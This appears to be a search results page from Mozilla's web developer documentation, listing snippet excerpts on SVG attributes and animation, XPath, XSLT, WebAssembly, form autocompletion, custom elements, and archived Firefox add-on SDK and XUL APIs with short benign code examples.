...And 2 more matches
y - SVG: Scalable Vector Graphics
WebSVGAttributey
, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="60" /> <rect y="220" x="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value list of (<length> | <percentage>) default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="60%" x2="100%" y2="60%" /> <line x1="0" y1="80%" x2="100%" y2="80%" /> <!-- vertical line to materialized the x positioning --> <line x1="5%" y1="0" x2="5%" y2="100%" /> <line x1="55%" y1="0" x2="55%" y2="100%" />...
... <!-- y with a single value --> <text y="40%" x="5%">svg</text> <!-- y with multiple values --> <text y="40%,60%,80%" x="55%">svg</text> </svg> text { font: 40px sans-serif; } line { fill: none; stroke: red; stroke-width: .5px; stroke-dasharray: 2px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
...And 2 more matches
y1 - SVG: Scalable Vector Graphics
WebSVGAttributey1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> lineargradient for <lineargradient>, y1 defines the y coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the top left corner of the bounding box of the shape it is applied to.
...And 2 more matches
y2 - SVG: Scalable Vector Graphics
WebSVGAttributey2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> line for <line>, y2 defines the y coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, y2 defines the y coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the top right corner of the bounding box of the shape it is applied to.
...And 2 more matches
<feComponentTransfer> - SVG: Scalable Vector Graphics
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 600 300"> <defs> <lineargradient id="rainbow" gradientunits="userspaceonuse" x1="0" y1="0" x2="100%" y2="0"> <stop offset="0" stop-color="#ff0000"></stop> <stop offset="0.2" stop-color="#ffff00"></stop> <stop offset="0.4" stop-color="#00ff00"></stop> <stop offset="0.6" stop-color="#00ffff"></stop> <stop offset="0.8" stop-...
...color="#0000ff"></stop> <stop offset="1" stop-color="#800080"></stop> </lineargradient> <filter id="identity" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="identity"></fefuncr> <fefuncg type="identity"></fefuncg> <fefuncb type="identity"></fefuncb> <fefunca type="identity"></fefunca> </fecomponenttransfer> </filter> <filter id="table" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 0 1 1"></fefuncr> <fefuncg type="table" tablevalues="1 1 0 0"></fefuncg> <fefuncb type="table" tablevalues="0 1 1 0"></fefuncb> </fecomponenttransfer> </filter> <filter id="discrete" x="0" y="0" width="100%" height="100%"> ...
... <fecomponenttransfer> <fefuncr type="discrete" tablevalues="0 0 1 1"></fefuncr> <fefuncg type="discrete" tablevalues="1 1 0 0"></fefuncg> <fefuncb type="discrete" tablevalues="0 1 1 0"></fefuncb> </fecomponenttransfer> </filter> <filter id="linear" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" slope="0.5" intercept="0"></fefuncr> <fefuncg type="linear" slope="0.5" intercept="0.25"></fefuncg> <fefuncb type="linear" slope="0.5" intercept="0.5"></fefuncb> </fecomponenttransfer> </filter> <filter id="gamma" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" amplitude="4" exponent="7" offset="0"></fefuncr> <fefuncg ty...
...And 2 more matches
SVG animation with SMIL - SVG: Scalable Vector Graphics
<svg width="300" height="100"> <title>attribute animation with smil</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animate attributename="cx" from="0" to="500" dur="5s" repeatcount="indefinite" /> </circle> </svg> animating the transform attributes the <animatetransf...
... <svg width="300" height="100"> <title>svg smil animate with transform</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <rect x="0" y="50" width="15" height="34" fill="blue" stroke="black" stroke-width="1"> <animatetransform attributename="transform" begin="0s" dur="20s" type="rotate" from="0 60 60" to="360 100 60" repeatcount="indefini...
...te" /> </rect> </svg> animation following a path the <animatemotion> element lets you animate an element position and rotation according to a path.
...And 2 more matches
Getting started - SVG: Scalable Vector Graphics
<svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="red" /> <circle cx="150" cy="100" r="80" fill="green" /> <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">svg</text> </svg> copy the code and paste it in a file demo1.svg.
... the text "svg" is drawn.
... the svg file can be referenced with an object element: <object data="image.svg" type="image/svg+xml" /> likewise an iframe element can be used: <iframe src="image.svg"></iframe> an img element can theoretically be used too.
...And 2 more matches
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
basics we have seen in the introducing example, that the text element can be used to put arbitrary text in svg documents: <text x="10" y="10">hello world!</text> the x and y attributes determine, where in the viewport the text will appear.
... the attribute text-anchor, which can have the values "start", "middle", "end" or "inherit", decides in which direction the text flows from this point.
... <text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> playable code <svg width="350" height="60" xmlns="http://www.w3.org/2000/svg"> <text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> the tspan element has the following custom attri...
...And 2 more matches
How to turn off form autocompletion - Web security
disabling autocompletion to disable autocompletion in forms, you can set the autocomplete attribute to "off": autocomplete="off" you can do this either for an entire form, or for specific input elements in a form: <form method="post" action="/form" autocomplete="off"> […] </form> <form method="post" action="/form"> […] <div> <label for="cc">credit card:</label> <input type="text" id="cc" name="cc" autocomplete="off"> </div> </form> setting autocomplete="off" on fields has two ...
... for this reason, many modern browsers do not support autocomplete="off" for login fields: if a site sets autocomplete="off" for a <form>, and the form includes username and password input fields, then the browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits the page.
... if a site sets autocomplete="off" for username and password <input> fields, then the browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits the page.
...And 2 more matches
Using custom elements - Web Components
for example <popup-info>, or document.createelement("popup-info").
...for example <p is="word-count">, or document.createelement("p", { is: "word-count" }).
...over in our html, we use it like so: <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."></popup-info> note: you can see the full javascript source code here.
...And 2 more matches
current - XPath
<xsl:value-of select="current()"/> <xsl:value-of select="."/> in an inner expression (e.g.
... <xsl:value-of select="current()"/> <xsl:value-of select="foo/bar[current() = x]"/> <xsl:variable name="current" select="current()"/> <xsl:value-of select="foo/bar[$current = x]"/> and the next code is also semantically equivalent to the latter two, since the .
... <xsl:variable name="current" select="."/> <xsl:value-of select="foo/bar[$current = x]"/> but the .
...And 2 more matches
XPath snippets - XPath
sample usage assume we have the following xml document (see also how to create a dom tree and parsing and serializing xml): example: an xml document to use with the custom evaluatexpath() utility function <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="h" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west...
... st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" city="denver" state="co" country="usa"/> </person> </people> you can now "query" the document with xpath expressions.
... example: javascript code with the custom evaluatexpath() utility function // display the last names of all people in the doc var results = evaluatexpath(people, "//person/@last-name"); for (var i in results) alert("person #" + i + " has the last name " + results[i].value); // get the 2nd person node results = evaluatexpath(people, "/people/person[2]"); // get all the person nodes that have addresses in denver results = evaluatexpath(people, "//person[address/@city='denver']"); // get all the addresses that have "south" in the street name results = eva...
...And 2 more matches
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementoutput
as of 7.0, method="text" works as expected.
... syntax <xsl:output method="xml" | "html" | "text" version=string encoding=string omit-xml-declaration="yes" | "no" standalone="yes" | "no" doctype-public=string doctype-system=string cdata-section-elements=list-of-names indent="yes" | "no" media-type=string /> required attributes none.
...this attribute is only used when method="html" or method="xml".
...And 2 more matches
<xsl:sort> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementsort
syntax <xsl:sort select=expression order="ascending" | "descending" case-order="upper-first" | "lower-first" lang=xml:lang-code data-type="text" | "number" /> required attributes none.
... order specifies whether the nodes should be processed in "ascending" or "descending" order.
... the default is "ascending".
...And 2 more matches
Using the WebAssembly JavaScript API - WebAssembly
now, to help us understand what is going on here, let’s look at the text representation of our wasm module (which we also meet in converting webassembly format to wasm): (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) in the second line, you will see that the import has a two-level namespace — the internal function $i is imported from imports.imported_func.
...got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", inst...
...ance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
...And 2 more matches
Reddit Example - Archive of obsolete content
this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").panel({ width: 240, height: 320, contenturl: "http://www.reddit.com/.mobile?keep_extension=true", contentscriptfile: [data.url("jquery-2.1.0.min...
....js"), data.url("panel.js")] }); reddit_panel.port.on("click", function(url) { require("sdk/tabs").open(url); }); this code supplies two content scripts to the panel's constructor in the contentscriptfile option: the jquery library and the script that intercepts link clicks.
... if (t.nodename != "a") return; // don't intercept the click if it was on one of the links in the header // or next/previous footer, since those links should load in the panel itself.
... to run this example you'll also have to have an icon file named "icon-16.png" saved in your add-on's "data" directory.
Two Types of Scripts - Archive of obsolete content
this enables you to call functions like: window.alert("hello there"); in an add-on's main scripts you can't do that, because the add-on code does not execute in the context of a page, and the dom is therefore not available.
...in the sdk documentation we call one sort "add-on code" and the other sort "content scripts".
... minimally you'll have a single module implemented by a script called "main.js", but you can include additional modules in lib, and import them using the require() function.
... content scripts while your add-on will always have a "main.js" module, you will only need to write content scripts if your add-on needs to manipulate web content.
querystring - Archive of obsolete content
by default this is "&".
...by default this is "=".
...by default this is "&".
...by default this is "=".
selection - Archive of obsolete content
usage registering for selection notifications to be notified when the user makes a selection, register a listener for the "select" event.
... function mylistener() { console.log("a selection has been made."); } var selection = require("sdk/selection"); selection.on('select', mylistener); // you can remove listeners too.
... examples log the current contiguous selection as text: var selection = require("sdk/selection"); if (selection.text) console.log(selection.text); log the current discontiguous selections as html: var selection = require("sdk/selection"); if (!selection.iscontiguous) { for (var subselection in selection) { console.log(subselection.html); } } surround html selections with delimiters: var selection = require("sdk/selection"); selection.on('select', function () { ...
... selection.html = "\\\" + selection.html + "///"; }); globals properties text gets or sets the current selection as plain text.
timers - Archive of obsolete content
example var { settimeout } = require("sdk/timers"); settimeout(function() { // do something in 0 ms }, 0) cleartimeout(id) given an id returned from settimeout(), prevents the callback with the id from being called (if it hasn't yet been called).
... example var { settimeout, cleartimeout } = require("sdk/timers"); var id = settimeout(function() { // do something in 1 sec }, 1000); // to stop/cancel this timeout cleartimeout(id); setinterval(callback, ms) schedules callback to be called repeatedly every ms milliseconds.
... example var { setinterval } = require("sdk/timers"); setinterval(function() { // do something every 1 sec }, 1000) clearinterval(id) given an id returned from setinterval(), prevents the callback with the id from being called again.
... example var { setinterval, clearinterval } = require("sdk/timers"); var id = setinterval(function() { // do something every 1 sec // to stop/cancel this interval clearinterval(id); }, 1000); ...
platform/xpcom - Archive of obsolete content
you can just use require("chrome") to get direct access to the components object, and access xpcom objects from there.
... "unknown" is named after the "iunknown" interface in com.
... in this example the helloworld component is available to javascript only, so we use the technique documented under the "using wrappedjsobject" section of how to build an xpcom component in javascript.
... so if a factory is registered with the contract id "@me.org/mycomponent", and another factory is already registered with that contract id, then: components.classes["@me.org/mycomponent"] will return the old factory, while: xpcom.factorybycontract("@me.org/mycomponent") will return the new one.
system/child_process - Archive of obsolete content
however, there are a few differences to be aware of: you need to require() the module using require("sdk/system/child_process") fork() is not supported gid and uid are not supported in node.js, spawn() and exec() inherit the environment variables from the parent process, by default.
... child.stdin has no write() method (see example below for writing to child process stdin) examples adaption of node's documentation for spawn(): var child_process = require("sdk/system/child_process"); var ls = child_process.spawn('/bin/ls', ['-lh', '/usr']); ls.stdout.on('data', function (data) { console.log('stdout: ' + data); }); ls.stderr.on('data', function (data) { console.log('stderr: ' + data); }); ls.on('close', function (code) { console.log('child process exited with code ' + code); }); writing to child process' stdin because the sdk implementation does not include a write() method for child processes,...
... you must use the "raw" emit event.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const commonjs_uri = 'resource://gre/modules/commonjs'; const { require } = cu.import(commonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
Add a Context Menu Item - Archive of obsolete content
when it's clicked, the selection is sent to the main add-on code, which just logs it: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', onmessage: function (selectiontext) { console.log(selectiontext); } }); try it: run t...
...typically you'd store the image in your add-on's "data" directory, and construct the url using self.data.url(): var self = require("sdk/self"); var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessa...
...ge(text);' + '});', image: self.data.url("icon-16.png"), onmessage: function (selectiontext) { console.log(selectiontext); } }); adding an access key new in firefox 35.
...pressing the key selects the option when the context menu is open: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', accesskey: "l", onmessage: function (selectiontext) { console.log(selectiontext); } }); learning more to learn more about the context-menu module, see the context-menu api reference.
Drag & Drop - Archive of obsolete content
first, you need to hook up the basic drag event handlers: elem.addeventlistener("dragover", _dragover, true); elem.addeventlistener("dragdrop", _dragdrop, true); here, elem could be a window or an xul element.
... next, setup the handlers so that files can be dropped on the application: function _dragover(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("text/x-moz-url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-servic...
...e;1'].getservice(components.interfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interface...
...s.nsisupportsstring); } catch(ex) { } if (str) { uri = _ios.newuri(str.data.split("\n")[0], null, null); } else { var file = data.value.queryinterface(components.interfaces.nsifile); if (file) uri = _ios.newfileuri(file); } } if (uri) uris.push(uri); } // use the array of file uris } the _dragover function checks the drag data to see if a simple text file or general purpose file types are available.
JS XPCOM - Archive of obsolete content
for example, var nsfile = components.constructor("@mozilla.org/file/local;1", "nsifile", "initwithpath"); var file = new nsfile(filepath); they can also be created and initialized manually: var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsifile); file.initwithpath(filepath); this creates a new instance of the object with contract id @mozilla.org/file/local;1 and allows y...
... getting an xpcom service var preferences = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); you can then call any methods in the nsiprefservice interface on the preferences object.
... components.utils.import("resource://gre/modules/services.jsm"); components.utils.import("resource://gre/modules/xpcomutils.jsm"); const cc = components.classes; const ci = components.interfaces; function abouthandler() {} abouthandler.prototype = { newchannel: function(uri) { var channel = services.io.newchannel("chrome://mystuff/content/mystuff.xul", null, null); channel.originaluri = uri; re...
... return 0; }, classdescription: "about mystuff page", classid: components.id("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"), contractid: "@mozilla.org/network/protocol/about;1?what=mystuff", queryinterface: xpcomutils.generateqi([ci.nsiaboutmodule]) } var nsgetmodule = xpcomutils.generatensgetmodule([abouthandler]); } ...
JavaScript Debugger Service - Archive of obsolete content
var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebuggerservice); jsd.on(); // enables the service till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the service hooks jsd operates using the events hook mechanism.
... jsd.errorhook = { onerror: function(message, filename, lineno, colno, flags, errnum, exc) { dump(message + "@" + filename + "@" + lineno + "@" + colno + "@" + errnum + "\n"); // check message type var jsdierrorhook = components.interfaces.jsdierrorhook; var messagetype; if (flags & jsdierrorhook.report_error) messagetype = "error"; if (flags & jsdierrorhook.report_warning) messagetype = "warning"; if (flags & jsdierrorhook.report_exception) messagetype = "uncaught-exception";...
... if (flags & jsdierrorhook.report_strict) messagetype += "-strict"; dump(messagetype + "\n"); return false; // trigger debughook // return true; if you do not wish to trigger debughook } }; // note that debughook does not _always_ trigger when jsd.errorhook[onerror] returns false // it is not well-known why debughook sometimes fails to trigger jsd.debughook = { onexecute: function(frame, type, rv) { stacktrace = ""; for (var f = frame; f; f = f.callingframe) { stacktrace += f.script.filename + "@" + f.line + "@" + f.functionname + "\n"; } dump(stacktrace); return components.interfaces.jsdiexecutionhook.return_continue; } }; filters jsd also allows the use of filters to track which scripts should trigger the hooks.
... jsd.clearfilters(); // clear the list of filters // we exclude the scripts with the following filenames from being tracked jsd.appendfilter(createfilter("*/firefox/components/*")); jsd.appendfilter(createfilter("*/firefox/modules/*")); jsd.appendfilter(createfilter("xstringbundle")); jsd.appendfilter(createfilter("chrome://*")); jsd.appendfilter(createfilter("x-jsd:ppbuffer*")); jsd.appendfilter(createfilter("xpcsafejsobjectwrapper.cpp")); jsd.appendfilter(createfilter("file://*")); note that appendfilter adds the filter to the end of the list.
Label and description - Archive of obsolete content
<description style="white-space: pre-wrap;">i am your father's brother's nephew's cousin's former roommate.
... <description style="white-space: pre;">i am your father's brother's nephew's cousin's former roommate.
... <description>i am your father's brother's nephew's cousin's former roommate.<html:br/> what's that make us?<html:br/> absolutely nothing!</description> using labels as anchors its possible to make a label look and act like an html <a> tag: <label class="text-link" href="http://whatever.com" value="click here to go to whatever"/> "text-link" is a built-in, predefined class.
... note: if running in a xulrunner application add the following preferences to your default preferences file: pref("network.protocol-handler.expose.http", false); pref("network.protocol-handler.warn-external.http", false); change or add additional protocols (https or ftp) as needed.
Post data to window - Archive of obsolete content
most of the time, post data starts as a data string in the form of "name1=data1&name2=data2&...", so you must convert it before passing the data to one of the methods.
... here is an example: var datastring = "name1=data1&name2=data2"; // post method requests must wrap the encoded text in a mime // stream const cc = components.classes; const ci = components.interfaces; var stringstream = cc["@mozilla.org/io/string-input-stream;1"].
... createinstance(ci.nsistringinputstream); if ("data" in stringstream) // gecko 1.9 or newer stringstream.data = datastring; else // 1.8 or older stringstream.setdata(datastring, datastring.length); var postdata = cc["@mozilla.org/network/mime-input-stream;1"].
... createinstance(ci.nsimimeinputstream); postdata.addheader("content-type", "application/x-www-form-urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); // postdata is ready to be used as apostdata argument ...
Progress Listeners - Archive of obsolete content
example create an object which implements nsiwebprogresslistener: const state_start = ci.nsiwebprogresslistener.state_start; const state_stop = ci.nsiwebprogresslistener.state_stop; var mylistener = { queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onstatechange: function(awebprogress, arequest, aflag, astatus) { // if you use mylistener for more than one tab/window, use // awebprogress.domwindow to obtain the tab/window which triggers the state change if (aflag & state_start) { // this fires when the loa...
... alert(auri.spec); this.oldurl = auri.spec; }, // nsiwebprogresslistener queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onlocationchange: function(aprogress, arequest, auri) { this.processnewurl(auri); }, onstatechange: function() {}, onprogresschange: function() {}, onstatuschange: function() {}, onsecuritychange: function() {} }; window.addeventlistener("load", function() { myextens...
...ion.init() }, false); window.addeventlistener("unload", function() { myextension.uninit() }, false); note: if you use the same listener for more than one tab/window, use awebprogress.domwindow in the callback methods to obtain the tab/window which triggers the state change or event.
... example: example of listener for anchor change the above example "notification when the value in address bar changes" fires multiple times, one of which is when the tab is changed.
QuerySelector - Archive of obsolete content
along the lines of other frameworks such as jquery or prototype, shortening the "queryselector" name can be convenient: function $ (selector, el) { if (!el) {el = document;} return el.queryselector(selector); } function $$ (selector, el) { if (!el) {el = document;} return el.queryselectorall(selector); // note: the returned object is a nodelist.
...selector) { // only for html return this.queryselector(selector); }; example: <h1>test!</h1> <script> htmldocument.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.$('h1')); // [object htmlheadingelement] </script> xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; example: <label value="test!"/> <script type="text/javascript"><![cdata[ xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; alert(document.$('label')); // [object xulelement] ]]></script> document.prototype.$ = function (selector) { // only for plain xml return this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo',...
... null); // create an xml document <foo xmlns="somens"/> var bar = foo.createelementns('somens', 'bar'); // add <bar xmlns="somens"/> foo.documentelement.appendchild(bar); alert(foo.$('bar').nodename); // gives 'bar' element.prototype.$ = function (selector) { // works for html, xul, and plain xml return this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <script> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <script type="text/javascript"><![cdata[ element.prototype.$ = function (selector) { return this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(documen...
...t.getelementsbytagnamens(xulns, 'hbox')[0].$('vbox').nodename); // vbox ]]></script> xml example: <foo xmlns="somens"><bar/></foo> in document earlier var foo = document.getelementsbytagnamens('somens', 'foo')[0]; alert(foo.$('bar')); note that for plain xml, the # 'id' selector will not work with an 'id' attribute (since a such-named attribute need not necessarily be of type id in xml, though it is in html and xul), nor will it work with xml:id.
Tree - Archive of obsolete content
r(i) && !treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } to collapse all tree nodes just change the condition: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } getting the text from the selected row assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellindex = 0; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(cellindex)); alert(celltext); } getting the tree item from the focused row assuming <tree id="my-tree">, you can use the ...
...following to get the tree item: var view = document.getelementbyid("my-tree").view; var sel = view.selection.currentindex; //returns -1 if the tree is not focused var treeitem = view.getitematindex(sel); note that the current index may be unselected (for example, a multi-select tree).
... getting the cell from a mouse click your first choice is likely to try <treecell onclick="yourfunc();"/> or something similar.
...for example, assuming the given <tree>: <tree id="my-tree" onclick="ontreeclicked(event)"> use the following javascript: function ontreeclicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and child element at the point var row = { }, col = { }, child = { }; tbo.getcellat(event.clientx, event.clienty, row, col, child); var celltext = tree.view.getcelltext(row.value, col.value); alert(celltext); } getting the selected indices of a multiselect tree var start = {}, end = {}, numranges = tree.view.selection...
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
- #include "nsastring.h"- #include "nsstring.h"- #include "nsreadableutils.h"- #include "nsescape.h" + #include "nsstringapi.h" on windows, if you see the following error, you are including a header you shouldn't be: nsstringfwd.h(60) : fatal error c1001: internal compiler error to debug this error, make in the failing directory, adding the /showincludes directive to figure out what is being included incorrectly: make -c directory/that/failed os_cppflags=-sho...
...in particular you may need to use ns_literal_(c)string("") instead of empty(c)string.
...for errors about undeclared do_createinstance: #include "nscomponentmanagerutils.h" for errors about undeclared do_getservice: #include "nsservicemanagerutils.h" for errors about undeclared ns_getspecialdirectory: #include "nsdirectoryserviceutils.h" utility classes some utility classes could previously be created with ns_new* utility functions.
...- #include "nscrt.h" + #include <string.h> const char *str = "foo"; - pruint32 len = nscrt::strlen(str); + pruint32 len = strlen(str); - #include "nscrt.h" + #include "nscrtglue.h" const prunichar str[] = {'f','o','o','\0'}; - pruint32 len = nscrt::strlen(str); + pruint32 len = ns_strlen(str); - #include "nscrt.h" + #include "nsmemory.h" + #include "nscrtglue.h" prunichar* anotherstr = (prunichar*)...
Multiple item extension packaging - Archive of obsolete content
for the firefox and thunderbird 1.5 extension manager to determine that the package is a multiple item package, the em:type specified in your install.rdf must be 32 and specified as <em:type nc:parsetype="integer">32</em:type>.
... the xml namespace xmlns:nc="http://home.netscape.com/nc-rdf#" must also be declared in your install.rdf as shown below.
...<rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- nsiupdateitem type for a multiple item package --> <em:type nc:parsetype="integer">32</em:type> ...
...<rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- nsiupdateitem type for a multiple item package --> <em:type>32</em:type> ...
Introduction - Archive of obsolete content
even firefox is sometimes referred to as "mozilla".
... xul xul (pronounced "zool") is one of many technologies used for creating mozilla-based products and extensions.
...you'll sometimes read terms like "xul applications" and "xul extensions", but rarely will they refer to projects that are exclusively built with xul.
...you can read and copy the user agent string of any firefox window, choosing "help > troubleshooting information" from the main menu.
Supporting search suggestions in search plugins - Archive of obsolete content
implementing suggestion support in the search plugin to support search suggestions, a search plugin needs to define an extra <url> element with its type attribute set to "application/x-suggestions+json".
